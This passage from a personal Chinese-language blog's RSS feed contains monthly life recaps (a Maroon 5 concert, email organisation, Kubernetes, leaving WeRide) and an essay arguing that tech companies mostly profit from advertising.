<p>可以試試經典的男女對唱曲：<a href="https://music.apple.com/tw/song/%E6%89%8B%E5%BF%83%E7%9A%84%E8%96%94%E8%96%87-feat-%E9%84%A7%E7%B4%AB%E6%A3%8B/1788007693" target="_blank" rel="noreferrer">《手心的薔薇》<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，記得要用 iOS 版的 Apple Music 才看的到。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>比方說周杰倫的<a href="https://music.apple.com/tw/song/%E4%B8%8D%E8%A9%B2-with-%E5%BC%B5%E6%83%A0%E5%A6%B9/1118757873" target="_blank" rel="noreferrer">《不該》<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>比方說謝震廷的歌至今除了 StreetVoice，一般串流平台就只剩下 YouTube 聽的到，因為 MV 沒有被下架。&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">streaming-services-2025</guid><pubDate>Sun, 07 Dec 2025 22:55:30 -0800</pubDate></item><item><title>2025 年 10 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-october-dump/</link><description>風不平，浪不靜</description><content:encoded><![CDATA[<p>這個月行程不少，故事也是不少。但故事還在進行中，那就先報備一下行程就好了。</p>
<h2 id="-maroon-5-love-is-like-tour" class="relative group">❤️‍🔥 Maroon 5 LOVE IS LIKE Tour </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-october-dump/maroon-5-at-chase-center.webp"
      class="mx-auto my-0 rounded-md"
      alt="Maroon 5 演唱會舞台與觀眾席全景"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">是魔力紅 a.k.a. 馬輪五！</figcaption>
</figure>
</p>
<p>Maroon 5 應該是我最早開始聽的其中幾個西洋樂團，我與他們的緣分可以追溯到 Overexposed 的時期，當時我還是一個稚嫩 (?) 的國中屁孩，所以當他們宣布要來台灣開演唱會的時候，身為小迷弟當然是不想錯過。當年要來台灣的還有另外一個現在已經不常聽到的樂團：Owl City<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，我爸媽雖然並不反對我去聽演唱會，但年紀輕輕就一年去這麼多場演唱會還是有點太奢侈了，所以我被指示只能從這兩個裡選一個。</p>
<p>幾經思考，我大膽預測 Maroon 5 更有「天團」氣勢，之後再來台灣應該只是時間問題，但 Owl City 可能就不好說，於是我就這麼放棄了 Maroon 5。</p>
<p>現在回頭來看，Owl City 之後確實就沒有這麼活躍，Maroon 5 則是在 2015 年和 2019 年又再度來台灣，但當時怎麼也沒有算到後來魔力紅變的太紅了 (<em>Puns Intended</em>)，根本就搶不到票 QQQQQ</p>
<p>現在他們總算是沒有那麼紅了，所以這次舊金山的演唱會幾乎不用怎麼搶就可以輕鬆買到票，價錢也相對親民，就當作是來聽一個懷舊。</p>
<p>最好笑的就是他們大概也知道大家是抱著這個心態來的，整個<a href="https://www.setlist.fm/setlist/maroon-5/2025/chase-center-san-francisco-ca-b45b10e.html" target="_blank" rel="noreferrer">歌單<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>唱下來幾乎沒什麼新歌。評價的話，也跟台灣場的評價差不多：沒什麼觀眾互動，就是標準的時間到上台、時間到下台的打卡型樂團。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-october-dump/maroon-5-at-chase-center-with-golden-gate-shirt.webp"
      class="mx-auto my-0 rounded-md"
      alt="演唱會現場，吉他手在螢幕上穿著勇士隊球衣表演"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">來金州勇士的主場開演唱會，拜碼頭是一定要的吧</figcaption>
</figure>
</p>
<p>基於價錢不貴，勉強給個 7/10，聽過一次就好了，滿足！</p>
<h2 id="-值得一提的酷東西" class="relative group">✨ 值得一提的酷東西 </h2><ul>
<li><a href="/zh-tw/posts/tech-industry-does-not-exist/">《科技業並不存在》</a>：最近找工作的一些反思，想嘗試寫一些自己深思熟慮之後的一些想法，算是一個嶄新的嘗試 (?)</li>
<li>恭喜 Robot Swing 獲得第 16 屆最佳樂團獎！偷偷分享一下他們很久以前<a href="https://www.youtube.com/watch?v=7XUKbUFOLQg" target="_blank" rel="noreferrer">翻唱的 Heroes<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，是一個比較輕快，又有一點 Funky 的版本！超喜歡！</li>
<li><a href="https://www.netflix.com/title/81005297" target="_blank" rel="noreferrer">《白色官邸殺人事件》<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：聽起來像驚悚片，但實際上是搞笑的推理偵探劇，看起來十分輕鬆，主角 Cordelia Cupp 是由曾經演過《勁爆女子監獄》的 Uzo 飾演，我特別喜歡她有一點點 Dramatic 但又不顧世俗的 Atitude，是個非常適合配飯的劇</li>
<li><a href="https://www.netflix.com/title/81726701" target="_blank" rel="noreferrer">《VIVANT》<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：雖然很多劇情演到一半的時候我腦子都一直在大喊：「等等，這樣安排也太方便了吧」「等等，這劇情確定要這樣演嗎」但畢竟是<del>加倍奉還的</del>堺雅人和熟男阿部寬，兩個大師對手戲還是相當有看點。</li>
<li><a href="https://www.reddit.com/r/interestingasfuck/comments/1op7hda/this_couple_took_their_gclass_on_a_20year_road/" target="_blank" rel="noreferrer">這對夫妻開著他們的賓士 G-Class 造訪了 177 國家！<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>雖然從來沒有自己實裝過黑蘋果 (果然是幸福的孩紙)，但容我在這裡分享<a href="https://sspai.com/post/102899" target="_blank" rel="noreferrer">這篇文章<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，一起見證一個時代的落幕</li>
</ul>
<h2 id="照片盪普" class="relative group">照片盪普 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-october-dump/niles-canyon-railway.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="蒸汽火車頭噴出白煙，行駛在陽光下的鐵軌上"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-october-dump/brunch-with-yuanlin.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="兩人在咖啡廳共進早午餐自拍，桌上有空盤與飲料杯"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">左：去搭了一趟蒸汽火車<br/>右：約了 Zeabur 的創辦人吃早午餐交流一下創業的心得<br/>偷偷說：我們有聊出了一個點子，他如果之後搞成功了再公布哈哈哈</figcaption>

<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-october-dump/bailingguo-at-san-jose.webp"
      class="mx-auto my-0 rounded-md"
      alt="舞台上百靈果的凱莉和 Ken 在燈光下與觀眾互動"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">百靈果來灣區巡迴！果然有些東西還是只有現場才聽的到，嘻嘻</figcaption>
</figure>
</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-整理-email" class="relative group">🟡 整理 Email </h3><p>8 月底訂的目標是收件夾要從 400 多封減半到 200 多封，目前大概是減到了 300 多封，算是達成了一半吧。</p>
<p>我目前的整理方法大致上是這樣：</p>
<ul>
<li>資料夾依照大分類 + 小分類，原則上最多兩層，比方說 School/CMU</li>
<li>所有的暫時不知道怎麼處理的 Email 會先進到一個叫做 &ldquo;Cache&rdquo; 大分類低下的某一個小分類資料夾</li>
<li>閒閒沒事的時候，就挑一個小分類的資料夾來整理，分類到永久儲存的資料夾或是刪掉</li>
</ul>
<p>簡單來說就是遵循<a href="https://zh.wikipedia.org/zh-hant/%E7%A6%8F%E7%89%B9%E5%88%B6" target="_blank" rel="noreferrer">福特主義<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，專注在把整理 Email 這個流程變成一個流水線。畢竟比起每看到一封 Email 開始思考這封 Email 該去哪，先做初步的分類再成堆處理可以有效減少思考跟分心。</p>
<p>這方法本身目前沒什麼大問題，但反倒是讓我開始思考：整理 Email 到底還有沒有意義？於是跟 ChatGPT 聊完之後有了一些發現：</p>
<ul>
<li>現代的 Email 搜尋在 90% 的場景下快速又準確，使用資料夾來分類其實沒什麼太大的意義</li>
<li>子目錄分類聽起來很有條理，但實務上管理成本高，也缺乏彈性，而且對於任何檔案管理保存都適用</li>
</ul>
<p>所以更合理的做法應該是：</p>
<ul>
<li>把所有的資料夾全刪了</li>
<li>一封 Email 只有三種狀態：
<ul>
<li>新郵件，暫時放在收件夾</li>
<li>沒用了，以後用得到，封存，以後用關鍵字 + 日期搜尋</li>
<li>沒用了，以後用不到，刪掉</li>
</ul>
</li>
</ul>
<p>雖然我目前還沒想到會有什麼問題，但確實是有點激進，所以暫時還不太敢採納，歡迎整理 Email 整理的很有心得的人分享你是怎麼做的。</p>
<h3 id="-買一張機票" class="relative group">✅ 買一張機票 </h3><p>買了 4 段機票 (蛤)</p>
<p>好消息：12 月跟 2 月的出遊都安排好了壞消息：今年要回台灣看起來有困難</p>
<p>主要問題是簽證卡住，但這部分還在進行中，等之後告一段落，有值得分享的東西到時候再考慮要不要寫吧。只能老樣子，想我的人可以私下約我聊唄，嘻嘻</p>
<p>偷偷說：你可以在 <a href="https://my.flightradar24.com/tomy0000000" target="_blank" rel="noreferrer">myFlightradar24<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上看到我的飛行日誌，或是如果你也有在用 Flighty 的話，歡迎來找我加朋友！</p>
<h3 id="-kubernetes" class="relative group">🟡 Kubernetes </h3><p>即便後半個月閒下來，多了很多時間可以實驗，但設定起來比我想像中的還科幻。</p>
<p>首先是 Kubernetes 最近剛好在經歷 Ingress 升級成 Gateway API 的半路上，用舊的，以後還要升級，用新的，又要自己探路，最終是選擇投資時間搞懂 Gateway API，慶幸還好最後有跑起來。</p>
<p>其他環節還有 <a href="https://github.com/cert-manager/cert-manager" target="_blank" rel="noreferrer">cert-manager<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 和 <a href="https://github.com/kubernetes-sigs/external-dns" target="_blank" rel="noreferrer">external-dns<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 還沒研究，可能會花更多時間，所以短時間可能很難全部弄起來，有點頭痛。</p>
<h2 id="-再會weride" class="relative group">👋🏻 再會！WeRide！ </h2><p>最後是本月的大新聞：</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-october-dump/weride-desk.webp"
      class="mx-auto my-0 rounded-md"
      alt="辦公室桌面擺放筆電、螢幕與零食，桌下放著黑色背包"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">從 WeRide 離職了！</figcaption>
</figure>
</p>
<p>雖然一直都有隨手記下一些可以拿來寫部落格的材料，但想了很久都還是不知從何寫起。但也許就正是因為工作佔據了生活很大一部分，所以這故事才會特別難講吧！那就先暫定跟 CMU 心得文一樣胎死腹中，哪天真的有想到值得記下來的再說吧。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-october-dump/tomy-nametag-at-weride-entrance.webp"
      class="mx-auto my-0 rounded-md"
      alt="手持名牌寫著 Tomy Hsieh，背景是 WeRide 接待大廳"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>不太確定有多少同事會看到這篇文，但我忠心感謝各位對我的照顧還有包容。我們來日再一起騎 ;-)</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>把現在在看的書看完。以這本書的厚度，看的是有點久了。</li>
<li>設定好定期定額自動存股。雖然帳號都開好了，但卻遲遲沒把這件最基本的事做好。</li>
<li>清理一下音樂資料庫，安排一下接下來半年要買的 CD</li>
</ol>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>你可能不知道這個團，但你應該會對這首 <a href="https://www.youtube.com/watch?v=H7HmzwI67ec" target="_blank" rel="noreferrer">Good Time<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 有印象&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-october-dump</guid><pubDate>Fri, 07 Nov 2025 15:18:59 -0800</pubDate></item><item><title>科技業並不存在</title><link>https://blog.tomy.me/zh-tw/posts/tech-industry-does-not-exist/</link><description>一些找工作找到發瘋後的胡思亂想</description><content:encoded><![CDATA[<p>科技業無疑是 21 世紀最賺錢、最有前景的行業，對標上世紀的石油產業。</p>
<p>但我私心認為，科技業從來就不存在。</p>
<p>當我們講到「科技業」，我們經常會想到那些聽起來很靠著先進、劃時代、前衛的技術賺錢的公司。但追根究底，充其量就是一間公司招聘了大量的專業人才，透過他們的知識，來開創出某個產品、服務，或甚至平台，去解決某個以前可能難以解決的問題，然後在整個商業模式可行之後，再把這個傳奇故事說給投資人聽，要到更多錢之後就可以繼續去研究下一個更大的發財機會。</p>
<p>聽起來是不是就像社會課本上所說的「產業升級」？</p>
<p>所以說，一個人工種植的農田透過引入自動化機具來增加產量、降低成本，其實跟社群媒體的數位廣告取代平面廣告，本質上沒有什麼區別。</p>
<p>WeWork 在 2019 年上市時將自身包裝成「媒合需要辦公室的企業和有閒置空間地主」的「科技公司」，但市場普遍認為這間公司的營運性質，並無異於傳統的地產開發商，最後在疫情的雙重夾擊下，黯然下市收場。</p>
<p>從這個案例可以看出來：是不是科技公司，顯然不是自己說了算。那問題就來了：如何定義科技公司？更重要的來說，到底是什麼讓科技業特別賺錢？</p>
<p>讓我們來好好抽絲剝繭。</p>
<h2 id="用戶" class="relative group">用戶 </h2><p>在網路普及前，人們需要獲取新資訊，必須看報紙，查百科全書，或者翻黃頁。所以 Google 可以被視為一個新聞媒體、查號台、氣象台的替代品。</p>
<p>一個人可以選擇去文具店買一張紙、一支筆來完成文書作業，或是購買一台電腦，然後在編輯完成後列印出來。換句話說，電腦製造商賣給你的是一個多功能的「工具」，幫助你完成不同的工作。所以可以說 Apple 跟 Bosch 都同為工具製造商，只是一個製造功能和經濟價值較高電腦，另一個製造的是電鑽。</p>
<p>有一間麥當勞引進了冰淇淋機來販賣蛋捲冰淇淋，而這間店的經理每個月會交保養費給冰淇淋機廠商，讓他們定期來餐廳維修、清潔、升級冰淇淋機。而 Microsoft 可以說是提供電腦，這個「機具」的後續服務，只是對他們來說，維護一台電腦跟維護成千上萬台電腦的成本相去不遠，所以服務範圍可以輕鬆擴及全世界。</p>
<p>Facebook 本質就是免費媒婆，只是在網路上。</p>
<h2 id="客戶" class="relative group">客戶 </h2><p>有時候，用戶並不等於客戶。差別在於：用戶使用你的直接產品，但並不會直接貢獻財源，幫公司續命。這時候我們可以攤開財報來窺視一二。</p>
<ul>
<li>Google 的營收有 75% 來自廣告，換句話說：Google 可以被視為高速公路路邊大型廣告看板的業主，而且這塊廣告之所以可以帶來 $965 億美元的營收，是因為全世界每天都行經這條高速公路。</li>
<li>Facebook 幾乎全部的營收都來自廣告，另一條高速公路</li>
<li>X / Twitter 同上</li>
<li>&hellip;</li>
</ul>
<p>事實上，如果你去問 ChatGPT <a href="https://chatgpt.com/?q=What%20tech%20companies%20do%20not%20earn%20revenue%20directly%20from%20their%20user%3F" target="_blank" rel="noreferrer">有哪些科技公司不直接從用戶獲利<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，幾乎全部都是——「廣告」。</p>
<p>假設有人做了一個網站，或者是某個小工具，然後不小心吸引了的大量的使用者，在不直接向使用者收錢的情況下，廣告就是一個簡單暴力、泛用性高、可規模化，且有效的盈利方式，雖然對於各個平台的長期影響性未知，但最起碼，這麼做可以為創辦人買下更多時間去思考長期的策略。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<h2 id="啟發" class="relative group">啟發 </h2><p>藉由以上這些觀察，可以得出科技公司賺錢的幾個套路：</p>
<ul>
<li>直接向用戶收錢：販賣「高附加價值」的產品或服務</li>
<li>用流量來變現：賣廣告給廣告業主。p.s. 身為用戶的我們才是真正的產品 🤡</li>
<li>一些其他有趣的例子，比方說靠收集轉賣的資料來賺錢，礙於篇幅就先略過</li>
</ul>
<p>但如果要說真正的啟發，我覺得最當頭棒喝的還是：</p>
<blockquote>
<p>全世界最聰明的 (一大部分) 人每天的工作，就是想著如何讓使用者點擊廣告。</p>
</blockquote>
<p>我自己觀察許多身邊的工程師在找工作時，首先關注的通常是想做什麼，比方説前端、後端、QA、ML 所需要的技能都不盡相同，工作型態也會非常不一樣，就像同樣是廚師，當總舖師煮大鍋飯，跟法式甜點師還是有很大的差距，會有這樣的討論並不奇怪。</p>
<p>但最終而言，能對社會 (甚至說人類的文明) 產生正向的價值，或許才是真正能說服我全心全意投入一份工作最大的動力。</p>
<p>在 Google 當工程師固然很爽 (不開玩笑)，但賣廣告對社會的貢獻，終究是跟賣糖水別無兩致。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>延伸閱讀：<a href="https://news.ycombinator.com/item?id=40672846" target="_blank" rel="noreferrer">一些有趣的 HN 用戶討論<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">tech-industry-does-not-exist</guid><pubDate>Thu, 23 Oct 2025 00:20:54 -0700</pubDate></item><item><title>2025 年 9 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-september-dump/</link><description>哩程數破表啦！</description><content:encoded><![CDATA[<p>這個月意外的開了很多車，包含即興的去了一趟 <a href="/zh-tw/posts/la-weekend-trip-2025/">LA 週末小旅行</a>，還有跟 MSE 再去了一次 Lake Tahoe (<del>慶祝新版 macOS 上線</del> (並沒有))</p>
<p>前前後後加起來，應該有超過 1000 miles 了吧，我右腳大拇指關節直到現在還有一點點微痛，真的是阿娘喂。</p>
<h2 id="-lake-tahoe" class="relative group">🏔️ Lake Tahoe </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-september-dump/tomy-on-sup.webp"
      class="mx-auto my-0 rounded-md"
      alt="Tomy 在湖上立槳板上張開雙手舉槳，背景是藍天與遠山"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">我要成為海賊王！！！！！<br />📸: Lenka</figcaption>
</figure>
</p>
<p><small>(好久沒有拍中二系列，好喜翻！)</small></p>
<p>雖然這次來沒有去年待的久，該爬的步道也有爬，但該玩的 SUP 還是有玩，現在站起來和坐下去真的是熟能生巧，完全不需要擔心會翻船了哈哈哈哈</p>
<p>加上上面的 LA 還有之前又去了一次 Santa Cruz 的海灘，踏踏浪的確是挺有益身心健康的</p>
<h2 id="-推歌" class="relative group">🎧 推歌 </h2><p>9 月果然是發新歌的好季節！？這個月歌庫擴充了好多新專輯，這邊推薦幾個：</p>
<ul>
